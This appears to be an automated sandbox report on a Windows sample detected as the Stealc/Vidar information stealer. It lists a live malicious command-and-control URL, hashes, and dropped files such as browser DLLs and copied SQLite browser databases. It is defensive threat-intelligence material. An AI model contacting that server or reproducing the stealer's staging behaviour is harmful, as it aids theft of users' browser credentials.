http://185.215.113.100/e2b1563c6670f193.phpy	file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2277664809.0000000029441000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	JJJKEHCAKFBFHJKEHCFIIDAEGD.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2112817309.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, HJJJJKEH.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.100	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1502161
Start date and time:	2024-08-31 10:13:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 85% Number of executed functions: 76 Number of non-executed functions: 45
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.100	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAAFCAFCBKFHJJJKKFHIDAAKFB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFIIIDAFBFBKECBGDBGIIIJJDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFCBKKKJJJKKEBGDAFID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFIJEBFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHDHCAAKECFIDHIEBAKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HJJJJKEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEBAAFCAFCBKFHJJJKKFHIDAAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJKEHCAKFBFHJKEHCFIIDAEGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKEBFBFIEHIDAAAAFHCF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
